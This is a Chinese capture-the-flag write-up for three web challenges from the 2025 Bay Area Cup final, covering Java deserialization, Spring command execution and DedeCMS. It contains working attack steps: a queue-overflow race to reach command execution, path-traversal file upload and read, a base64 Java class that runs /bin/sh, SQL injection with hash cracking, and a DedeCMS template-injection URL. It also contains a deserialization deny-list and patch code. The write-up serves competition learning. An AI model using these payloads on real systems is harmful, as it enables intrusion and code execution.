2025“湾区杯”网络安全大赛决赛(web方向)部分题解
湾区杯决赛(web方向)部分题解。
AWDP
web——ezjava
这题实际需要pwn和密码来配合
AdminServlet.class如下
package ctf.challenge;
import ctf.challenge.JniCrypto;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
import java.util.stream.Collectors;
public class AdminServlet extends HttpServlet {
private static final byte[] SECRET_KEY = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes(StandardCharsets.UTF_8);
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().println(Arrays.toString(SECRET_KEY));
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String body = req.getReader().lines().collect(Collectors.joining(System.lineSeparator()));
if (body.isEmpty()) {
resp.setStatus(400);
resp.getWriter().write("Request body is empty.");
return;
}
try {
byte[] encryptedData = Base64.getDecoder().decode(body);
byte[] decryptedData = JniCrypto.decrypt(encryptedData, SECRET_KEY);
if (decryptedData == null || decryptedData.length == 0) {
resp.setStatus(500);
resp.getWriter().write("Decryption failed. Invalid data or key?");
return;
}
ByteArrayInputStream bais = new ByteArrayInputStream(decryptedData);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
resp.setStatus(200);
resp.getWriter().write("Object deserialized: " + obj.toString());
} catch (Exception e) {
resp.setStatus(400);
resp.getWriter().write("Error processing request: " + e.getMessage());
}
}
}
get请求访问之后我们可以拿到secret_key
然后post请求会进行base64解密,然后再把结果拿去JniCrypto.decrypt再解密一次。
最后才能打反序列化。
跟进JniCrypto.decrypt
代码如下:

那么其实就是为了加载libcrypt.so文件

看了一下依赖,高版本jdk17,那么估计就是打最近新爆出的一条链子
防御
新建一个object类,加个黑名单即可绕过。
最后的黑名单类
/**
* @className MyObjectInputStream
* @Author shushu
* @Data 2025/9/16
**/
package ctf.challenge;
import java.io.*;
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = {
"java.net.InetAddress",
"sun.rmi.transport.tcp.TCPTransport",
"sun.rmi.transport.tcp.TCPEndpoint",
"sun.rmi.transport.LiveRef",
"sun.rmi.server.UnicastServerRef",
"sun.rmi.server.UnicastRemoteObject",
"org.apache.commons.collections.map.TransformedMap",
"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.map.LazyMap",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",
"org.apache.commons.collections.functors.ConstantTransformer",
"org.apache.commons.collections.functors.MapTransformer",
"org.apache.commons.collections.functors.FactoryTransformer",
"org.apache.commons.collections.functors.InstantiateFactory",
"org.apache.commons.collections.keyvalue.TiedMapEntry",
"javax.management.BadAttributeValueExpException",
"org.apache.commons.collections.map.DefaultedMap",
"org.apache.commons.collections.bag.TreeBag",
"org.apache.commons.collections.comparators.TransformingComparator",
"org.apache.commons.collections.functors.TransformerClosure",
"java.util.Hashtable", "java.util.HashMap",
"java.net.URL",
"com.sun.rowset.JdbcRowSetImpl",
"java.security.SignedObject",
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"org.springframework.aop.aspectj.AspectJAroundAdvice"};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
攻击(思路)
参考文章
https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/
http://101.36.122.13:4000/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/
感觉是打最近新出的jdk17+SpringAOP的那条链子
但是关键的是他有个解密函数,需要找到对应的加密函数

分析so文件,看到有个解密函数
找逆向手分析一下变种的AES才能得到加密算法加密payload
得到加密函数之后
大概率是要打一个jetty的内存马才能获得回显。比赛最后也没能做出来。
web——safemail
利用jar-analyzer-5.1-windows-full工具扫到有个命令执行,
tmall/controller/admin/ConfigController类的代码如下
package tmall.controller.admin;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.regex.Pattern;
import javax.servlet.http.HttpSession;
import org.apache.jasper.compiler.TagConstants;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.tags.form.FormTag;
import tmall.annotation.Auth;
import tmall.pojo.Config;
import tmall.pojo.extension.UserExtension;
import tmall.util.SystemUtil;
@RequestMapping({"/admin/config"})
@Controller
/* loaded from: app.jar:BOOT-INF/classes/tmall/controller/admin/ConfigController.class */
public class ConfigController extends AdminBaseController {
private static final int MAX_QUEUE_SIZE = 100;
private static final BlockingQueue<String> commandQueue = new ArrayBlockingQueue(100);
private final ExecutorService processor = Executors.newFixedThreadPool(2);
private static final String ALLOWED_REGEX = "^(ping\\s+((25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]?\\d)){3})|hostname|whoami)$";
public ConfigController() {
startQueueProcessors();
}
private void startQueueProcessors() {
for (int i = 0; i < 2; i++) {
this.processor.submit(() -> {
while (!Thread.currentThread().isInterrupted()) {
try {
String command = commandQueue.take();
processCommand(command);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
});
}
}
private void handleError(String command) {
try {
if (command.startsWith("ping")) {
command = command + " -c 2";
}
SystemUtil.runCmd(command);
} catch (Exception e) {
System.err.println("Error handling failed: " + e.getMessage());
}
}
private void processCommand(String command) {
try {
if (isSafeCommand(command)) {
System.out.println("[!] Blocked potentially dangerous command: " + command);
return;
}
if (command.startsWith("ping")) {
command = command + " -c 2";
}
SystemUtil.runCmd(command);
} catch (Exception e) {
System.err.println("Error processing command: " + e.getMessage());
}
}
private boolean isSafeCommand(String command) {
return !Pattern.matches(ALLOWED_REGEX, command);
}
@RequestMapping({"edit"})
@Auth(UserExtension.Group.admin)
public String edit(Model model) throws Exception {
List<Config> configs = this.configService.list(new Object[0]);
model.addAttribute("configs", configs);
return "admin/editConfig";
}
@RequestMapping({"update"})
public String update(Integer[] id, String[] value, HttpSession session) throws Exception {
this.configService.update(id, value, "value");
session.removeAttribute("productImgDir");
return "redirect:edit";
}
@RequestMapping({"tools"})
@Auth(UserExtension.Group.admin)
public String tools(Model model) throws Exception {
this.configService.list(new Object[0]);
return "admin/tools";
}
@PostMapping({"runTool"})
@ResponseBody
public Map<String, Object> runCommand(@RequestBody Map<String, String> body) {
String command = body.get(FormTag.DEFAULT_COMMAND_NAME);
try {
commandQueue.add(command);
System.out.println(commandQueue.size());
} catch (Exception e) {
handleError(command);
}
return Collections.singletonMap(TagConstants.OUTPUT_ACTION, "批量处理开发中,暂不支持查看");
}
}
出现问题的正是handleError(command);
发现没有过滤能够直接命令执行,而防御也很简单
防御
@PostMapping({"runTool"})
@ResponseBody
public Map<String, Object> runCommand(@RequestBody Map<String, String> body) {
String command = body.get(FormTag.DEFAULT_COMMAND_NAME);
try {
commandQueue.add(command);
System.out.println(commandQueue.size());
} catch (Exception e) {
if (isSafeCommand(command)) {
System.out.println("[!] Blocked potentially dangerous command: " + command);
return;
}
if (command.startsWith("ping")) {
command = command + " -c 2";
}
handleError(command);
}
return Collections.singletonMap(TagConstants.OUTPUT_ACTION, "批量处理开发中,暂不支持查看");
}就是如果没有ai没有其他命令waf的笔记的话,直接复制processCommand函数里面的代码即可
攻击一、并发线程绕过
再看到攻击,首先需要账号密码登陆admin admin
如果细心审计上面的代码你会发现要让代码执行到handleError(command),需要触发commandQueue.add(command)方法抛出异常。
由于ArrayBlockingQueue的add()方法在队列已满时会抛出IllegalStateException("Queue full")。
那么最简单的方法就是利用bp并发发包,设置资源池为100左右。
具体操作就是intruder模块设置如下

命令为

然后选择开始攻击
同时重放器为

即可弹出计算器

那么实际上没有回显,我们可以利用文件读取,来获得回显的结果
admin/category/getImg?path=../../../../../../../../../../../../../../../../../../tmp/1

但是呢,当我打远程的时候,并发数量太多,会导致了服务环境直接崩掉。
据赛后朋友说是把服务打崩之后,服务过段时间会重启,此时只要重新访问服务,读取文件即可看到回显。
攻击二、just-el表达式命令执行
注册plugins.txt
在审计的时候还发现一个点,在/addCart路由下面有这样一段代码
@RequestMapping({"addCart"})
public String addCart(Integer pid, String num, @RequestParam(name = "operate", required = false) String operate, Model model, HttpSession session) throws Exception {
Product product = (Product) this.productService.get(pid.intValue());
User user = (User) session.getAttribute(ClassicConstants.USER_MDC_KEY);
CartItem cartItem = (CartItem) this.cartItemService.getOne("uid", user.getId(), "pid", product.getId());
Boolean isInDB = Boolean.valueOf(cartItem != null);
if (operate == null) {
operate = BeanUtil.PREFIX_ADDER;
}
if (cartItem == null) {
cartItem = new CartItem();
cartItem.setProduct(product);
cartItem.setUser(user);
cartItem.setNumber(0);
}
PluginConfig.getPluginContext();
String expr = String.format("%s(\"%s\", \"%s\")", operate, num, cartItem.getNumber());
String num2 = (String) JustEL.runEval(expr, PluginConfig.getPluginContext());
cartItem.setNumber(Integer.valueOf(num2));
cartItem.setSum(product.getNowPrice().multiply(new BigDecimal(num2)));
if (isInDB.booleanValue()) {
this.cartItemService.update(cartItem);
} else {
this.cartItemService.add(cartItem);
}
model.addAttribute("msg", "success");
return "msg";
}JustEL.runEval表达式利用,可以rce。
里面的参数expr可控,那么我们可以研究一下PluginConfig.getPluginContext
跟进看代码,具体如下
public class PluginConfig {
private static List<String> plugins;
@Value("${plugin.file}")
private String pluginFile;
private static JustMapContext pluginsContext;
@Bean
public ApplicationRunner loadPlugins() {
return args -> {
plugins = loadPluginsList();
pluginsContext = registerPlugins(plugins);
};
}
public static List<String> getPlugins() {
try {
plugins = Files.readAllLines(Paths.get("/data/plugins.txt", new String[0]));
for (String pluginName : plugins) {
try {
pluginsContext.putExtendFunc((ExtendFunctionExpr) newPluginInstance(pluginName));
} catch (Exception e) {
}
}
return plugins;
} catch (IOException e2) {
throw new RuntimeException(e2);
}
}
public static JustMapContext getPluginContext() {
return pluginsContext;
}
public List<String> loadPluginsList() {
try {
return Files.readAllLines(Paths.get(this.pluginFile, new String[0]));
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static Object newPluginInstance(String className) {
try {
Class<?> clazz = Class.forName(className);
return clazz.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
} catch (Exception var2) {
throw new RuntimeException("failed: " + className, var2);
}
}
public JustMapContext registerPlugins(List<String> plugins2) {
JustMapContext context = new JustMapContext();
for (String pluginName : plugins2) {
try {
context.putExtendFunc((ExtendFunctionExpr) newPluginInstance(pluginName));
} catch (Exception e) {
}
}
return context;
}
}那么我们可以知道getPluginContext是获取整个插件的上下文
getPlugins则是将/data/plugins.txt文件里面的类加载到整个插件的上下文,即注册插件。
触发getPlugins函数如下,访问/admin/plugin/test或者/admin/plugin/updatePlugins
@RequestMapping({"/admin/plugin"})
@Controller
/* loaded from: app.jar:BOOT-INF/classes/tmall/controller/admin/PluginController.class */
public class PluginController extends AdminBaseController {
@Value("${plugin.file}")
private String pluginFile;
@RequestMapping({"plugins"})
@Auth(UserExtension.Group.admin)
public String plugins(Model model) throws Exception {
return "admin/plugins";
}
@RequestMapping({"updatePlugins"})
@ResponseBody
public void updateRegisterPluginsList() {
PluginConfig.getPlugins();
}
@RequestMapping({"test"})
@ResponseBody
public List<String> test() {
return PluginConfig.getPlugins();
}
}
那么关键是我们如何去修改/data/plugins.txt里面的内容。
在这个/admin/config/edit路由逻辑如下
@RequestMapping({"edit"})
@Auth(UserExtension.Group.admin)
public String edit(Model model) throws Exception {
List<Config> configs = this.configService.list(new Object[0]);
model.addAttribute("configs", configs);
return "admin/editConfig";
}它可以修改configService里面的配置

而默认情况下configService是以键值对的形式存在的。
还有一处/admin/category/add,文件上传的地方。

获取存储文件的路径采用了拼接的形式,可以进行绕过。

那么savaImg获取的是config中path_category_img这个键的值,原本是pictures/category/
我们可以通过/admin/config/edit路由将其修改为../../../../../../../data
然后再进行上传一个plugins.txt文件,此时利用了路径穿越的漏洞,导致了存储的地方为/data/plugins.txt
HotInstallPlugin研究
根据这段代码在util/webplugins下有个HotInstallPlugin类

逻辑如下

可以看到他是继承了com.lfkdsk.justel.ast.function.ExtendFunctionExpr
并实现了funcName()方法,返回值为"install",这意味着
1、当 EL 表达式中出现install(...)形式的调用时,JustEL 会自动关联到HotInstallPlugin类的call()方法。
2、PluginConfig.getPluginContext()上下文环境中,已经将HotInstallPlugin注册为"install"函数的实现类,因此引擎能找到对应的处理逻辑。
也就是说
String expr = String.format("%s(\"%s\", \"%s\")", operate, num, cartItem.getNumber());
String num2 = (String) JustEL.runEval(expr, PluginConfig.getPluginContext());operate传入install
num传入base64
base64 -w 0 Exploit3.class
输出结果:yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQAYBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHABkHABcBAApTb3VyY2VGaWxlAQANRXhwbG9pdDMuamF2YQwACQAKBwAbDAAcAB0BAARjYWxjDAAeAB8BABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAgAAoBAAhFeHBsb2l0MwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAGAAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAIADAAAABoABgAAAAMABAAFAA0ACAAQAAYAEQAHABUACQANAAAAEAAC/wAQAAEHAA4AAQcADwQAAQAQAAAAAgARExploit3.java内容
public class Exploit3 {
public Exploit3() {
try {
String[] exp = {"/bin/sh","-i","whoami > /tmp/1"};
Runtime.getRuntime().exec(exp);
} catch (Exception e) {
e.printStackTrace();
}
}
}那么修改图片存放路径为../../../../../../../data之后,上传的plugins.txt内容如下
tmall.util.webplugins.HotInstallPlugin打入/addCart?operate=install&num=base64编码的payload
最后访问/admin/category/getImg?path=/tmp/1
就可以看到回显的结果了。
传统方向
dede
观察到plus/check.php文件有sql注入
<?php
require_once("../include/common.inc.php");
require_once(DEDEINC . "/arc.taglist.class.php");
$PageNo = 1;
function checksqls($sql)
{
$filter = "/[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)/i";
if (preg_match($filter, $sql)) {
die("DedeCMS提示:当前输入的参数中存在恶意代码!");
}
return $sql;
}
$id = checksqls($_GET['id']);
global $dsql;
$row = $dsql->GetOne("Select * From `#@__check` where id = $id");
echo $row['type'];
?>直接用sqlmap跑即可
admin的密码在dede_admin表里面
爆破出来的admin密码是hash值,题目刚好给了一个字典
我们可以先将字典的密码加密成hash,然后跟题目的密码hash进行匹配
最后得出的密码就是
tianwei123A
然后进入后台后有很多day可以打
文件上传或者模板注入
参考文章
https://xz.aliyun.com/news/1912/dede/tag_test_action.php?url=a&token=&partcode={dede:fieldname='source' runphp='yes'}phpinfo( );{/dede:field}